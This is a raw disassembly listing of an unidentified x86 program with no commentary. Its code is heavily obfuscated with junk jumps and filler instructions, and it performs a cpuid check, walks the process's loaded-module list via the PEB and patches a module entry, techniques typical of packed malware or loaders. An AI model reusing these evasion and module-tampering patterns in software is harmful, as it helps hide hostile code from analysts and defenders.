; ---------------------------------------------------------------------------


loc_404C24:				; CODE XREF: .text:00404BD6j
		popa
		xchg	al, [edi+74h]
		popf


loc_404C29:				; CODE XREF: .text:loc_404BFEj
		jmp	short loc_404C13
; ---------------------------------------------------------------------------
		db 12h
; ---------------------------------------------------------------------------
		jecxz	short loc_404C0E
		cdq
		pop	esi


loc_404C30:				; CODE XREF: .text:loc_404C44j
		jmp	short loc_404C5F
; ---------------------------------------------------------------------------
		dw 0C3Fh
		dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
; ---------------------------------------------------------------------------


loc_404C44:				; CODE XREF: .text:loc_404C13j
		jmp	short loc_404C30
; ---------------------------------------------------------------------------
		dw 1AC5h
		dd 0E641284Bh, 727DD427h, 0BE7940C3h
		db 1Fh,	6Ch
; ---------------------------------------------------------------------------


loc_404C56:				; CODE XREF: .text:00404BDDj
		xor	eax, 0B1583BCAh
		xchg	eax, esi
		pop	ss
		add	al, 0EDh


loc_404C5F:				; CODE XREF: .text:loc_404C30j
		add	esp, 0Ch
		push	esi
		push	ecx
		dec	esi
		mov	ecx, edx
		cld
		pop	ecx
		pop	esi
		push	3D7h
		jmp	short loc_404CA1
; ---------------------------------------------------------------------------
		movsd
		jp	short near ptr byte_404C9F
		mov	[ecx], ah
		inc	esi
		pop	es


loc_404C78:				; CODE XREF: .text:loc_404CA1j
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h
		db 32h,	83h, 0
byte_404C9F	db 39h			; CODE XREF: .text:00404C72j
		db 7Eh
; ---------------------------------------------------------------------------


loc_404CA1:				; CODE XREF: .text:00404C6Fj
		jmp	short loc_404C78
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0FB8AF52Ch
		db 18h
; ---------------------------------------------------------------------------


loc_404CA9:				; CODE XREF: .text:loc_404CB8j
		jmp	short loc_404CD7
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_404CB8:				; CODE XREF: .text:loc_404C78j
		jmp	short loc_404CA9
; ---------------------------------------------------------------------------
		dw 0EB3Ah
		dd 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h
		dd 53428D24h
		db 90h
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: .text:loc_404CA9j
		push	4FE7324Dh
		jmp	short loc_404D0D
; ---------------------------------------------------------------------------
		cmpsd
		push	esp
		std


loc_404CE1:				; CODE XREF: .text:loc_404D0Dj
		jmp	short loc_404D20
; ---------------------------------------------------------------------------
		db 0F2h
		dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h,	0EE69F033h
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh
; ---------------------------------------------------------------------------
		wait


loc_404D0D:				; CODE XREF: .text:00404CDCj
		jmp	short loc_404CE1
; ---------------------------------------------------------------------------
		db 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_404D16:				; CODE XREF: .text:loc_404D20j
		jmp	short loc_404D43
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh
; ---------------------------------------------------------------------------


loc_404D20:				; CODE XREF: .text:loc_404CE1j
		jmp	short loc_404D16
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_404D23:				; CODE XREF: .text:loc_404D43j
		jmp	short loc_404D53
; ---------------------------------------------------------------------------
		db 68h,	81h, 26h
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		dd 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_404D43:				; CODE XREF: .text:loc_404D16j
		jmp	short loc_404D23
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 0C8h
		dd 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_404D53:				; CODE XREF: .text:loc_404D23j
		push	11000h
		push	eax
		push	ebx
		rep shr	eax, 4Ah
		dec	eax
		xor	eax, 80B21Ah
		push	ebx
		pop	eax
		push	esi
		pop	eax
		cld
		pop	ebx
		pop	eax
		call	near ptr sub_4058B9
		jmp	short loc_404D9D
; ---------------------------------------------------------------------------
		movsb
		or	eax, 910D3C2h
		push	cs


loc_404D7A:				; CODE XREF: .text:loc_404D9Dj
		jmp	short loc_404DAD
; ---------------------------------------------------------------------------
		dd 1AC53C2Fh, 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh
		dd 96B1583Bh, 22ED0417h, 6EE970B3h
		db 0Fh
; ---------------------------------------------------------------------------


loc_404D9D:				; CODE XREF: .text:00404D71j
		jmp	short loc_404D7A
; ---------------------------------------------------------------------------


loc_404D9F:				; CODE XREF: .text:loc_404DADj
		jmp	short loc_404DD0
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
		dd 4621882Bh, 0D25D3407h
		db 0A3h
; ---------------------------------------------------------------------------


loc_404DAD:				; CODE XREF: .text:loc_404D7Aj
		jmp	short loc_404D9F
; ---------------------------------------------------------------------------
		db 0A0h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		dd 0E80BDA85h, 94E7A601h, 83323Dh
; ---------------------------------------------------------------------------


loc_404DD0:				; CODE XREF: .text:loc_404D9Fj
		add	esp, 0Ch
		jmp	short loc_404DFE
; ---------------------------------------------------------------------------
		db 8Ah,	0FBh, 18h
; ---------------------------------------------------------------------------


loc_404DD8:				; CODE XREF: .text:loc_404DFEj
		jmp	short loc_404E11
; ---------------------------------------------------------------------------
		dw 5671h
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh
; ---------------------------------------------------------------------------
		mov	bh, 24h


loc_404DFE:				; CODE XREF: .text:00404DD3j
		jmp	short loc_404DD8
; ---------------------------------------------------------------------------
		dd 9053428Dh
		db 89h
; ---------------------------------------------------------------------------


loc_404E05:				; CODE XREF: .text:loc_404E11j
		jmp	short loc_404E34
; ---------------------------------------------------------------------------
		mov	gs, [edi-3465BA44h]
		test	al, 0C1h
		cmpsw


loc_404E11:				; CODE XREF: .text:loc_404DD8j
		jmp	short loc_404E05
; ---------------------------------------------------------------------------
		db 54h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh
		dd 1C8FEE69h, 8ABFA25h,	0B487C6A1h
; ---------------------------------------------------------------------------


loc_404E34:				; CODE XREF: .text:loc_404E05j
		mov	eax, ebp
		jmp	short loc_404E65
; ---------------------------------------------------------------------------
		db 4Ch,	95h, 0AAh
; ---------------------------------------------------------------------------


loc_404E3B:				; CODE XREF: .text:loc_404E65j
		jmp	short loc_404E79
; ---------------------------------------------------------------------------
		db 9Bh,	38h, 11h
		dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h
		db 62h
; ---------------------------------------------------------------------------


loc_404E65:				; CODE XREF: .text:00404E36j
		jmp	short loc_404E3B
; ---------------------------------------------------------------------------
		db 0F3h
		db 0B0h
; ---------------------------------------------------------------------------


loc_404E69:				; CODE XREF: .text:loc_404E79j
		jmp	short loc_404E94
; ---------------------------------------------------------------------------
		db 29h
		dd 0E5DC4FAEh, 61C86BBAh, 9D744786h
		db 12h
; ---------------------------------------------------------------------------


loc_404E79:				; CODE XREF: .text:loc_404E3Bj
		jmp	short loc_404E69
; ---------------------------------------------------------------------------
		db 0E3h
		db 0E0h, 99h
; ---------------------------------------------------------------------------


loc_404E7E:				; CODE XREF: .text:loc_404E94j
		jmp	short loc_404EAF
; ---------------------------------------------------------------------------
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_404E94:				; CODE XREF: .text:loc_404E69j
		jmp	short loc_404E7E
; ---------------------------------------------------------------------------
		dw 4B1Ah
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		db 4, 0EDh, 22h
; ---------------------------------------------------------------------------


loc_404EAF:				; CODE XREF: .text:loc_404E7Ej
		push	esi
		push	ecx
		push	ebx
		sub	ecx, 8089DAh
		xchg	ebx, ecx
		sbb	ebx, 88B4DAh
		lea	ecx, ds:80AA5Ah
		cmp	esi, esp
		rep cld
		pop	ebx
		pop	ecx
		push	eax
		push	edi
		push	esi
		mov	di, 4942h
		cmp	al, 0CCh
		push	edx
		pop	esi
		mov	esi, 80A89Ah
		adc	edi, 80A05Ah
		test	al, bh
		test	al, ch
		cld
		pop	esi
		pop	edi
		push	112FCh
		push	edi
		push	eax
		push	edx
		pop	eax
		cmc
		test	ecx, edx
		push	ebx
		pop	edi
		cld
		pop	eax
		pop	edi
		call	near ptr sub_4021E2
		jmp	short loc_404F2E
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_404F04:				; CODE XREF: .text:loc_404F2Ej
		jmp	short loc_404F46
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h
		db 7Eh,	0DFh
; ---------------------------------------------------------------------------


loc_404F2E:				; CODE XREF: .text:00404EFFj
		jmp	short loc_404F04
; ---------------------------------------------------------------------------
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		db 48h,	0E1h
; ---------------------------------------------------------------------------


loc_404F46:				; CODE XREF: .text:loc_404F04j
		xor	eax, eax
		push	edi
		push	edx
		test	al, dh
		dec	edx
		cld
		pop	edx
		pop	edi
		dec	eax
		jmp	short loc_404F70
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_404F56:				; CODE XREF: .text:loc_404F70j
		jmp	short loc_404F83
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_404FB0
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_404F70:				; CODE XREF: .text:00404F51j
		jmp	short loc_404F56
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi


loc_404F83:				; CODE XREF: .text:loc_404F56j
		mov	ecx, eax
		jmp	short loc_404FB3
; ---------------------------------------------------------------------------
		db 1Ch
		dd 8ABFA25h
		db 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_404F8E:				; CODE XREF: .text:loc_404FB3j
		jmp	short loc_404FC3
; ---------------------------------------------------------------------------
		dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh,	24DE477h
		dd 4E495013h, 5A057C6Fh, 2681688Bh
; ---------------------------------------------------------------------------


loc_404FB0:				; CODE XREF: .text:00404F5Dj
		db	67h
		adc	al, 0BDh


loc_404FB3:				; CODE XREF: .text:00404F85j
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------
		db 0B2h, 3, 80h
		db 0B9h, 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_404FBB:				; CODE XREF: .text:loc_404FC3j
		jmp	short loc_404FE6
; ---------------------------------------------------------------------------
		db 0ACh, 75h, 0Ah
		db 7Bh,	98h, 0F1h
; ---------------------------------------------------------------------------


loc_404FC3:				; CODE XREF: .text:loc_404F8Ej
		jmp	short loc_404FBB
; ---------------------------------------------------------------------------
		setalc
		push	edi
		inc	esp


loc_404FC8:				; CODE XREF: .text:loc_404FE6j
		jmp	short loc_404FF9
; ---------------------------------------------------------------------------
		dw 622Dh
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h
		dd 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx
		clc


loc_404FE6:				; CODE XREF: .text:loc_404FBBj
		jmp	short loc_404FC8
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx


loc_404FF9:				; CODE XREF: .text:loc_404FC8j
		mov	edx, eax
		push	edx
		push	esi
		inc	esi
		mov	esi, edx
		push	ebp
		pop	esi
		xor	esi, ecx
		cld
		pop	esi
		pop	edx
		cpuid
		push	edx
		push	ecx
		test	ecx, esp
		test	ecx, esp
		test	eax, ecx
		inc	ecx
		cld
		pop	ecx
		pop	edx
		xor	edi, edi
		push	esi
		push	ebx
		nop
		jns	loc_405027
		mov	ebx, ebx
		push	edi
		pop	esi
		cmp	ebp, ecx
		cmc


loc_405027:				; CODE XREF: .text:0040501Aj
		mov	bx, 4949h
		inc	ebx
		xor	ebx, ebp
		mov	esi, edx
		neg	ebx
		mov	ebx, edx
		cld
		pop	ebx
		pop	esi
		dec	edi
		jmp	short loc_405063
; ---------------------------------------------------------------------------
		dw 356Ch
		db 0CAh
; ---------------------------------------------------------------------------


loc_40503D:				; CODE XREF: .text:loc_405063j
		jmp	short loc_405073
; ---------------------------------------------------------------------------
		db 3Bh
		dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch,	7462188h
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh
		db 0B8h, 91h, 0F6h
; ---------------------------------------------------------------------------


loc_405063:				; CODE XREF: .text:00405038j
		jmp	short loc_40503D
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
; ---------------------------------------------------------------------------
		adc	byte ptr [ebx-10313630h], 0FCh
		test	ebx, edx
		or	ebp, eax


loc_405073:				; CODE XREF: .text:loc_40503Dj
		cmp	edi, edx
		jnz	loc_405188
		push	esi
		push	edx
		xchg	esi, esi
		xor	edx, ebp
		xchg	edx, esi
		mov	esi, 808B1Ah
		mov	dx, 490Eh
		mov	esi, 81117Ah
		cmp	ebx, ecx
		repne cld
		pop	edx
		pop	esi
		cmp	edi, ecx
		jnz	loc_405188
		jmp	short loc_4050D0
; ---------------------------------------------------------------------------
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_4050A4:				; CODE XREF: .text:loc_4050D0j
		jmp	short loc_4050E3
; ---------------------------------------------------------------------------
		dw 0FB8Ah
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h
		dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h
; ---------------------------------------------------------------------------


loc_4050D0:				; CODE XREF: .text:0040509Fj
					; .text:00405136j
		jmp	short loc_4050A4
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx


loc_4050D9:				; CODE XREF: .text:loc_4050E3j
		jmp	short loc_405106
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h
		db 54h,	0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_4050E3:				; CODE XREF: .text:loc_4050A4j
		jmp	short loc_4050D9
; ---------------------------------------------------------------------------
		inc	ebx
		sar	cl, 3Eh


loc_4050E9:				; CODE XREF: .text:loc_405106j
		jmp	short loc_405119
; ---------------------------------------------------------------------------
		db 9Fh
; ---------------------------------------------------------------------------


loc_4050EC:				; CODE XREF: .text:0040514Dj
		in	al, dx
		mov	ch, 4Ah
		mov	ebx, 971631D8h
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
; ---------------------------------------------------------------------------
		dd 87C6A108h
; ---------------------------------------------------------------------------
		mov	ah, 0DDh


loc_405106:				; CODE XREF: .text:loc_4050D9j
		jmp	short loc_4050E9
; ---------------------------------------------------------------------------
		dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		db 2
; ---------------------------------------------------------------------------


loc_405119:				; CODE XREF: .text:loc_4050E9j
		sub	ebp, 1000h
		jmp	short loc_405134
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
; ---------------------------------------------------------------------------


loc_405124:				; CODE XREF: .text:loc_405134j
		jmp	short loc_40514F
; ---------------------------------------------------------------------------
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]
		jnz	short loc_40513E


loc_405134:				; CODE XREF: .text:0040511Fj
		jmp	short loc_405124
; ---------------------------------------------------------------------------
		jnp	short loc_4050D0
		icebp


loc_405139:				; CODE XREF: .text:loc_40514Fj
		jmp	short loc_40516A
; ---------------------------------------------------------------------------
		setalc
		push	edi
		inc	esp


loc_40513E:				; CODE XREF: .text:00405132j
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_4050EC


loc_40514F:				; CODE XREF: .text:loc_405124j
		jmp	short loc_405139
; ---------------------------------------------------------------------------
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------
		cdq
		pop	esi


loc_405156:				; CODE XREF: .text:loc_40516Aj
		jmp	short loc_405188
; ---------------------------------------------------------------------------
		dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: .text:loc_405139j
		jmp	short loc_405156
; ---------------------------------------------------------------------------
		dd 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h,	583BCA35h
		dd 41796B1h, 70B322EDh
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: .text:00405075j
					; .text:00405099j ...
		xor	eax, eax
		jmp	short loc_4051B5
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi


loc_40518F:				; CODE XREF: .text:loc_4051B5j
		jmp	short loc_4051C5
; ---------------------------------------------------------------------------
		db 7, 34h, 5Dh
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h
		db 32h
; ---------------------------------------------------------------------------


loc_4051B5:				; CODE XREF: .text:0040518Aj
		jmp	short loc_40518F
; ---------------------------------------------------------------------------
		db 83h
		db 0
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: .text:loc_4051C5j
		jmp	short loc_4051E8
; ---------------------------------------------------------------------------
		cmp	[esi-21h], edi
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh


loc_4051C5:				; CODE XREF: .text:loc_40518Fj
		jmp	short loc_4051B9
; ---------------------------------------------------------------------------
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_4051CE:				; CODE XREF: .text:loc_4051E8j
		jmp	short loc_4051FB
; ---------------------------------------------------------------------------
		dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h,	0D58CBFDEh
		dd 5178DBEAh
; ---------------------------------------------------------------------------


loc_4051E8:				; CODE XREF: .text:loc_4051B9j
		jmp	short loc_4051CE
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_4051FB:				; CODE XREF: .text:loc_4051CEj
		cmp	eax, 0
		jz	loc_4057FA
		jmp	short loc_405235
; ---------------------------------------------------------------------------
		sar	cl, 3Eh


loc_405209:				; CODE XREF: .text:loc_405235j
		jmp	short loc_405248
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h,	0ABFA251Ch
		dd 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h
		db 0E4h
; ---------------------------------------------------------------------------


loc_405235:				; CODE XREF: .text:00405204j
		jmp	short loc_405209
; ---------------------------------------------------------------------------
		db 4Dh
		dd 49501302h
		db 4Eh,	6Fh
; ---------------------------------------------------------------------------


loc_40523E:				; CODE XREF: .text:loc_405248j
		jmp	short loc_40526B
; ---------------------------------------------------------------------------
		dd 8B5A057Ch, 67268168h
; ---------------------------------------------------------------------------


loc_405248:				; CODE XREF: .text:loc_405209j
		jmp	short loc_40523E
; ---------------------------------------------------------------------------
		dw 0BD14h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h
		dd 0E5DC4FAEh, 61C86BBAh
; ---------------------------------------------------------------------------
		xchg	al, [edi+74h]


loc_40526B:				; CODE XREF: .text:loc_40523Ej
		mov	eax, large fs:30h
		jmp	short loc_4052A0
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h
		dd 0D427E641h
; ---------------------------------------------------------------------------
		jge	short loc_405300


loc_40528E:				; CODE XREF: .text:loc_4052A0j
		jmp	short loc_4052BB
; ---------------------------------------------------------------------------
		db 0C3h	; Ã
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h
; ---------------------------------------------------------------------------


loc_4052A0:				; CODE XREF: .text:00405271j
		jmp	short loc_40528E
; ---------------------------------------------------------------------------
		db 0B3h
; ---------------------------------------------------------------------------


loc_4052A3:				; CODE XREF: .text:loc_4052BBj
		jmp	short loc_4052CE
; ---------------------------------------------------------------------------
		db 70h,	0E9h, 6Eh
		dd 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_4052BB:				; CODE XREF: .text:loc_40528Ej
		jmp	short loc_4052A3
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
; ---------------------------------------------------------------------------


loc_4052C0:				; CODE XREF: .text:loc_4052CEj
		jmp	short loc_4052F1
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_4052CE:				; CODE XREF: .text:loc_4052A3j
		jmp	short loc_4052C0
; ---------------------------------------------------------------------------
		dd 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h
		db 65h
; ---------------------------------------------------------------------------


loc_4052F1:				; CODE XREF: .text:loc_4052C0j
		mov	eax, [eax+0Ch]
		jmp	short loc_405320
; ---------------------------------------------------------------------------
		dw 6392h
		dd 0BFDE1960h
		db 8Ch
; ---------------------------------------------------------------------------


loc_4052FD:				; CODE XREF: .text:loc_405320j
		jmp	short loc_405330
; ---------------------------------------------------------------------------
		db 0D5h
; ---------------------------------------------------------------------------


loc_405300:				; CODE XREF: .text:0040528Cj
		jmp	far ptr	24B7h:0B65178DBh
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh
; ---------------------------------------------------------------------------


loc_405320:				; CODE XREF: .text:004052F4j
		jmp	short loc_4052FD
; ---------------------------------------------------------------------------
		dw 0BB4Ah
		dd 971631D8h
		db 84h,	6Dh
; ---------------------------------------------------------------------------


loc_40532A:				; CODE XREF: .text:loc_405330j
		jmp	short loc_40535B
; ---------------------------------------------------------------------------
		dd 69F033A2h
; ---------------------------------------------------------------------------


loc_405330:				; CODE XREF: .text:loc_4052FDj
		jmp	short loc_40532A
; ---------------------------------------------------------------------------
		dw 8FEEh
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_405337:				; CODE XREF: .text:loc_40535Bj
		jmp	short loc_40536D
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh
		db 5Ah,	8Bh, 68h
; ---------------------------------------------------------------------------


loc_40535B:				; CODE XREF: .text:loc_40532Aj
		jmp	short loc_405337
; ---------------------------------------------------------------------------
		db 81h,	26h, 67h
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh
; ---------------------------------------------------------------------------
		cwde


loc_40536D:				; CODE XREF: .text:loc_405337j
		mov	edi, [eax+0Ch]
		push	ebx
		push	edx
		cmp	eax, edi
		xor	edx, edx
		xchg	ebx, edx
		adc	edx, 80A39Ah
		sub	ebx, 80889Ah
		mov	ebx, esi
		mov	edx, edx
		inc	edx
		cld
		pop	edx
		pop	ebx
		push	edi
		jmp	short loc_4053BB
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp


loc_405396:				; CODE XREF: .text:loc_4053BBj
		jmp	short loc_4053CB
; ---------------------------------------------------------------------------
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh
		db 4Bh,	28h, 41h
; ---------------------------------------------------------------------------


loc_4053BB:				; CODE XREF: .text:0040538Dj
		jmp	short loc_405396
; ---------------------------------------------------------------------------
		db 0E6h, 27h, 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_405434
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h
		db 35h,	0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_4053CB:				; CODE XREF: .text:loc_405396j
					; .text:00405527j
		cmp	ebp, [edi+18h]
		jnz	loc_40550A
		push	edi
		push	eax
		mov	ax, 5D76h
		xor	edi, edx
		xor	eax, eax
		dec	edi
		push	eax
		pop	eax
		cld
		pop	eax
		pop	edi
		add	esp, 4
		push	edx
		push	edi
		test	eax, edi
		xor	edi, ebx
		mov	edx, ebp
		dec	edx
		cld
		pop	edi
		pop	edx
		push	10000001h
		jmp	short loc_405427
; ---------------------------------------------------------------------------
		dw 6EE9h
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es


loc_405405:				; CODE XREF: .text:loc_405427j
		jmp	short loc_405437
; ---------------------------------------------------------------------------
		db 34h
		dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh
		dd 0FCEFCEC9h, 0E80BDA85h
		db 1, 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_405427:				; CODE XREF: .text:004053F8j
		jmp	short loc_405405
; ---------------------------------------------------------------------------
		db 94h,	3Dh, 32h
		dd 7E390083h, 8AF52CDFh
; ---------------------------------------------------------------------------


loc_405434:				; CODE XREF: .text:004053C0j
		sti
; ---------------------------------------------------------------------------
		db 18h,	71h
; ---------------------------------------------------------------------------


loc_405437:				; CODE XREF: .text:loc_405405j
		add	[esp], ebp
		push	ecx
		push	edi
		mov	ecx, edi
		inc	ecx
		mov	di, 4929h
		xchg	ecx, ecx
		not	ecx
		test	ecx, ebp
		mov	edi, 810DDAh
		inc	edi
		cld
		pop	edi
		pop	ecx
		mov	eax, [edi+1Ch]
		push	ecx
		push	edx
		xor	edx, ecx
		push	esi
		pop	ecx
		xor	edx, ebx
		dec	ecx
		cld
		pop	edx
		pop	ecx
		pop	dword ptr [edi+1Ch]
		jmp	short loc_405491
; ---------------------------------------------------------------------------
		dw 0CF2Eh
; ---------------------------------------------------------------------------
		pop	esp


loc_405469:				; CODE XREF: .text:loc_405491j
		jmp	short loc_4054A4
; ---------------------------------------------------------------------------
		db 65h
		dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh
		dd 8D24B7B6h, 89905342h, 45BCAF8Eh, 0C1A8CB9Ah
		db 66h
; ---------------------------------------------------------------------------


loc_405491:				; CODE XREF: .text:00405464j
		jmp	short loc_405469
; ---------------------------------------------------------------------------
		db 0A7h
		dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
; ---------------------------------------------------------------------------


loc_4054A4:				; CODE XREF: .text:loc_405469j
		jmp	loc_405539
; ---------------------------------------------------------------------------
		jmp	short loc_4054D7
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0FA251C8Fh
		db 0ABh, 8
; ---------------------------------------------------------------------------


loc_4054B2:				; CODE XREF: .text:loc_4054D7j
		jmp	short loc_4054E7
; ---------------------------------------------------------------------------
		dd 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h,	0E4777611h
		dd 5013024Dh, 7C6F4E49h, 688B5A05h
		db 81h,	26h, 67h
; ---------------------------------------------------------------------------


loc_4054D7:				; CODE XREF: .text:004054A9j
		jmp	short loc_4054B2
; ---------------------------------------------------------------------------
		db 14h,	0BDh, 0B2h
		db 3, 80h, 0B9h
; ---------------------------------------------------------------------------


loc_4054DF:				; CODE XREF: .text:loc_4054E7j
		jmp	short loc_40550A
; ---------------------------------------------------------------------------
		db 0FEh, 5Fh, 0ACh
		db 75h,	0Ah, 7Bh
; ---------------------------------------------------------------------------


loc_4054E7:				; CODE XREF: .text:loc_4054B2j
		jmp	short loc_4054DF
; ---------------------------------------------------------------------------
		db 98h,	0F1h, 0D6h
